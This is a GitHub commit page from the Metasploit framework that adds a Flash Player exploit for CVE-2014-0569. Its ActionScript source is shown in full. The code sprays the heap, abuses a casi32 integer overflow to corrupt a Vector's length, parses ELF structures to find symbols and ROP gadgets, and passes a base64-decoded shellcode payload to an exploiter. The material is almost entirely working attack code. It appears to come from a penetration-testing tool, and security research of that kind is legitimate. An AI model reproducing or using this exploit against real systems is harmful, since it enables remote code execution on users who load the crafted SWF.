Skip to content

Commit

Permalink
Land #5517, adobe_flash_casi32_int_overflow (exec from the flash rend…
Browse files Browse the repository at this point in the history
…erer)
  • Loading branch information
wchen-r7 committed Jun 10, 2015
2 parents b23647d + 4f1ee3f commit 667db8b
Show file tree
Hide file tree
Showing 10 changed files with 1,024 additions and 296 deletions.
Binary file modified data/exploits/CVE-2014-0569/msf.swf
Binary file not shown.
235 changes: 235 additions & 0 deletions external/source/exploits/CVE-2014-0569/Elf.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3

private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0

public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}

public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0

for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}

public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""

for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}


public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}

private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}

throw new Error()
}

private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}

private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}

private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}

private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}

throw new Error()
}
}
}
114 changes: 114 additions & 0 deletions external/source/exploits/CVE-2014-0569/Exploit.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Exploit.as

// It uses original code from @hdarwin89 for exploitation using ba's and vectors

package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder

public class Exploit extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var uv:Vector.<uint>
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(200)

public function Exploit()
{
var i:uint = 0
var j:uint = 0

platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()

for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}

ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"

for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0x41424344
}

ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)

try {
var uint_vector_pos:uint = search_uint_vector()
} catch (err:Error) {
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
return
}

// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)

for (i = 0; i < ov.length; i++) {
if (ov[i].length > 1024) {
uv = ov[i]
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
} else {
ov[i] = null
}
}

exploiter = new Exploiter(this, platform, os, payload, uv)
}

// Methods to use the integer overflow
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0

for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i
}
}
throw new Error()
}

private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}

private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
}
}

0 comments on commit 667db8b

Please sign in to comment.